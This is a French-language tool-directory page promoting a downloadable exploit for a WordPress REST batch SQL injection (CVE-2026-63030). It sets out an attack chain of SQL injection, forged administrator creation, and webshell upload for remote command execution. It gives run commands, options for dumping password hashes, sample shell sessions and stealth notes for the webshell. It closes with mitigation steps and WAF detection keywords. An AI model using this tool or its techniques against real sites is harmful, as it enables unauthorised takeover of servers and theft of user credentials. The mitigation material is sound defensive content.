Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-63030 — CVE-2026-63030 - Preuve de concept d'injection SQL par confusion de route dans le batch REST de WordPress | Kitploit
Outils/GitHubGitHub/ch4120n/cve-2026-63030
Scanners de VulnérabilitésExploitationSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubch4120n/cve-2026-63030

CVE-2026-63030

CVE-2026-63030 - Preuve de concept d'injection SQL par confusion de route dans le batch REST de WordPress

Voir le dépôt
231il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-63030

Preuve de concept — Injection SQL par confusion de routes dans le lot REST de WordPress (CVE-2026-63030)
Recherche, développement de l’exploit et documentation par Ch4120N

CVE Python License Status


⚠️ Avertissement légal

Ce dépôt et l’outil qui l’accompagne (exploit.py) sont destinés strictement à des fins éducatives, à des tests d’intrusion autorisés et à la recherche en sécurité.
Utiliser cet exploit contre des cibles sans autorisation préalable, expresse et écrite est illégal et enfreint les lois sur la fraude et les abus informatiques dans le monde entier. L’auteur (Ch4120N) décline toute responsabilité en cas d’utilisation abusive, de dommages ou de conséquences juridiques découlant de l’utilisation de ce code. Agissez toujours dans le respect de la loi et obtenez les autorisations appropriées.


📖 Présentation de la vulnérabilité : CVE-2026-63030

CVE-2026-63030 est une vulnérabilité critique, non authentifiée, affectant l’API REST de WordPress. Elle exploite un bug de confusion de routes dans le point de terminaison de traitement par lot imbriqué (/wp-json/batch/v1 ou /?rest_route=/batch/v1).

Cause racine

Lorsque WordPress traite un lot de requêtes API REST, il valide chaque sous-requête par rapport à son schéma spécifique avant exécution. Cependant, en raison d’une faille dans la façon dont le pointeur de routage interne gère des chemins délibérément malformés (par exemple ///), le schéma de validation se désynchronise du gestionnaire d’exécution réel.

Chaîne d’attaque

  1. Confusion de routes et injection SQL : Un attaquant injecte une charge utile de lot imbriquée. La désynchronisation fait qu’une requête ciblant le point de terminaison /wp/v2/users (qui n’accepte pas author_exclude) est exécutée par le gestionnaire /wp/v2/posts. Le paramètre non assaini author_exclude est transmis directement dans la clause author__not_in de WP_Query, ce qui entraîne une injection SQL non authentifiée.
  2. Création d’un administrateur pré-authentification : L’injection SQL est utilisée pour lire la base de données et identifier les ID de publications oembed_cache. L’exploit utilise ensuite une charge utile changeset du Customizer pour empoisonner le cache du menu de navigation, trompant WordPress afin qu’il exécute une requête de création d’utilisateur dans le contexte d’un administrateur existant.
  3. Exécution de code à distance (RCE) : Avec un compte administrateur forgé, l’outil s’authentifie, téléverse un plugin de webshell PHP aléatoire protégé par jeton, exécute des commandes OS et nettoie proprement toutes les traces.

Versions affectées

  • WordPress 6.9.0 à 6.9.4
  • WordPress 7.0.0 à 7.0.1 (Remarque : des versions plus anciennes peuvent être vulnérables selon les configurations de plugins spécifiques et les rétroportages de l’API REST).

🚀 Fonctionnalités

  • Zéro dépendance : 100 % bibliothèque standard Python 3. Aucun pip install requis.
  • Fichier unique modulaire : Tous les composants (client, injection SQL, exploit, shell, CLI) sont organisés proprement dans un script portable unique (exploit.py).
  • Extraction SQL multi-techniques : Bascule automatiquement vers les méthodes disponibles les plus rapides :
    1. Par UNION : Extraction en bande en forgeant une fausse ligne WP_Post (1 requête par valeur).
    2. Par erreur : Exploite les erreurs XPATH EXTRACTVALUE() si WP_DEBUG_DISPLAY est activé.
    3. Aveugle booléenne/temporelle : Extraction de caractères par recherche binaire avec délais de sommeil configurables.
  • Pont pré-authentification automatisé : Aucun identifiant existant nécessaire ; l’outil crée lui-même son propre compte administrateur à la volée.
  • Webshell éphémère : Génère un slug de plugin unique et un jeton cryptographiquement sécurisé. Le shell refuse de s’exécuter sans le jeton et s’autodétruit après utilisation.
  • Nettoyage automatique : Supprime automatiquement le compte administrateur forgé et le répertoire du plugin webshell à la sortie.
  • REPL interactif : Fournit un pseudo-terminal qui maintient l’état du répertoire de travail distant (prise en charge de cd).

📦 Installation et prérequis

Aucun paquet tiers n’est requis. Assurez-vous de disposer de Python 3.8 ou supérieur.

root@kitploit:~
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030

# Make the script executable
chmod +x exploit.py

# Verify Python version
python3 --version
# Executing the script
python3 exploit.py

💻 Utilisation détaillée et options

L’exploit est divisé en trois sous-commandes principales : check, read et shell.

Options globales

Ces options s’appliquent à toutes les sous-commandes :

OptionDescriptionDéfaut
urlURL de base de la cible (p. ex. http://target.com)Requis
--rest-routeUtiliser /?rest_route=/batch/v1 au lieu de /wp-json/batch/v1 (pour les sites avec permaliens désactivés).False
--timeoutDélai d’expiration des requêtes HTTP en secondes.30.0
--proxyProxy HTTP/HTTPS (p. ex. http://127.0.0.1:8080).None

1. check — Détection de vulnérabilité

Sonde la cible en toute sécurité pour confirmer la présence des marqueurs de confusion de routes et teste la temporisation de l’injection SQL sans extraire de données.

OptionDescriptionDéfaut
--sleepDélai de temporisation SQL (secondes) utilisé par le repli --confirm-sqli.3.0
--samplesNombre de paires de temporisation SQL de référence/retardées à tester.3
--confirm-sqliEnvoyer une charge utile active de confirmation d’injection SQL (ajoute un léger délai).False

2. read — Extraction de base de données

Extrait directement les données de la base de données via l’injection SQL.

OptionDescriptionDéfaut
--presetPréréglages d’extraction rapide : fingerprint (version/utilisateur/base) ou users (identifiants/hachages).fingerprint
--queryExécuter une expression SQL scalaire personnalisée (p. ex. "SELECT @@version").None
--prefixPréfixe des tables de la base de données.wp_
--max-lengthNombre maximal de caractères à extraire par valeur.128
--techniqueTechnique d’extraction : auto, union, error ou blind.auto

3. shell — Exécution de code à distance

Déploie le webshell et exécute des commandes. Si aucun identifiant n’est fourni, il déclenche automatiquement le pont de création d’administrateur pré-authentification.

OptionDescriptionDéfaut
--userNom d’utilisateur administrateur. (Omettez pour utiliser le pont pré-authentification).None
--passwordMot de passe administrateur. (Omettez pour utiliser le pont pré-authentification).None
--cmdCommande unique à exécuter sur la cible.None
-i, --interactiveOuvrir un shell interactif (REPL) après le déploiement.False

🖥️ Preuves d’exécution et exemples

Voici des exemples concrets de l’outil en action.

Exemple 1 : Vérification de la vulnérabilité

root@kitploit:~
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli

[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
    - 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.

Exemple 2 : Extraction de l’empreinte de la base de données

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union

[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.

Exemple 3 : Récupération des identifiants utilisateur

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_

[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
    1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
    2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
    5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.

Exemple 4 : Obtention d’un shell interactif (pré-authentification)

Remarquez comment l’outil crée automatiquement un compte administrateur, déploie le shell et nettoie après la sortie.

root@kitploit:~
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive

[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
    Extracting table name...
    Finding source admin ID...
    Seeding oEmbed cache...
    Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php

[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit

[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.

🧠 Analyse technique approfondie

L’amorce de désynchronisation

Le cœur de l’exploit repose sur l’injection de _DESYNC_PRIMER = {"method": "POST", "path": "///"}. Cette URL invalide force le routage interne de WordPress à générer une WP_Error pour la première sous-requête. Cela décale le pointeur interne, ce qui fait que la deuxième sous-requête est validée selon un schéma, mais exécutée par le gestionnaire de la troisième sous-requête. Cela fait passer clandestinement le paramètre author_exclude dans le WP_Query.

Primitive UNION de faux billet

Plutôt qu’une injection SQL aveugle lente, l’outil utilise un UNION SELECT pour injecter une ligne wp_posts factice et entièrement formée. En définissant orderby=none et per_page=500, il empêche WP_Query de fractionner la requête. Le post_title injecté contient le résultat codé en hexadécimal de l’expression SQL cible, entouré de délimiteurs ||, qui est reflété directement dans la réponse JSON de l’API REST.

OpSec du webshell

Le plugin PHP déployé est conçu pour une discrétion maximale :

  • Répertoire et nom de fichier aléatoires (p. ex. wp_a1b2c3d4.php).
  • Exige un jeton hexadécimal de 32 caractères (t) et une commande (c) via les paramètres GET.
  • Utilise hash_equals() pour prévenir les attaques temporelles sur le jeton.
  • Change automatiquement de répertoire (chdir) pour empêcher la divulgation du chemin.
  • La sortie est entourée de marqueurs EXPLOIT::...::END pour un analyse propre par le client Python.

🛡️ Atténuation et correctifs

  1. Mettre à jour WordPress : Mettez immédiatement à niveau vers WordPress 7.0.2 ou supérieur, qui inclut le correctif pour CVE-2026-63030.
  2. Désactiver le point de terminaison de lot : Si le point de terminaison de lot n’est pas explicitement requis, désactivez-le via un plugin must-use (mu-plugins) :
    root@kitploit:~
    add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
        if ( $request->get_route() === '/batch/v1' ) {
            return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
        }
        return $response;
    }, 10, 3 );
    
  3. Pare-feu d’application web (WAF) : Implémentez des règles pour bloquer :
    • Les requêtes /batch/v1 imbriquées contenant author_exclude dans l’URI.
    • Les requêtes contenant UNION, SLEEP() ou EXTRACTVALUE dans les paramètres d’URL.
    • Les chemins malformés comme /// dans les requêtes API REST.
  4. Désactiver WP_DEBUG_DISPLAY : Assurez-vous que WP_DEBUG_DISPLAY est défini sur false dans wp-config.php pour empêcher les fuites d’injection SQL basées sur les erreurs.

📜 Crédits et remerciements

  • Recherche de vulnérabilité et développement de l’exploit : Ch4120N
  • Inspiration conceptuelle : Confusion de routes de l’API REST de WordPress, empoisonnement du cache oEmbed et primitives Customizer changeset.

« Un grand pouvoir implique de grandes responsabilités. Utilisez cette connaissance pour défendre, non pour détruire. »
— Ch4120N

Télécharger l’outil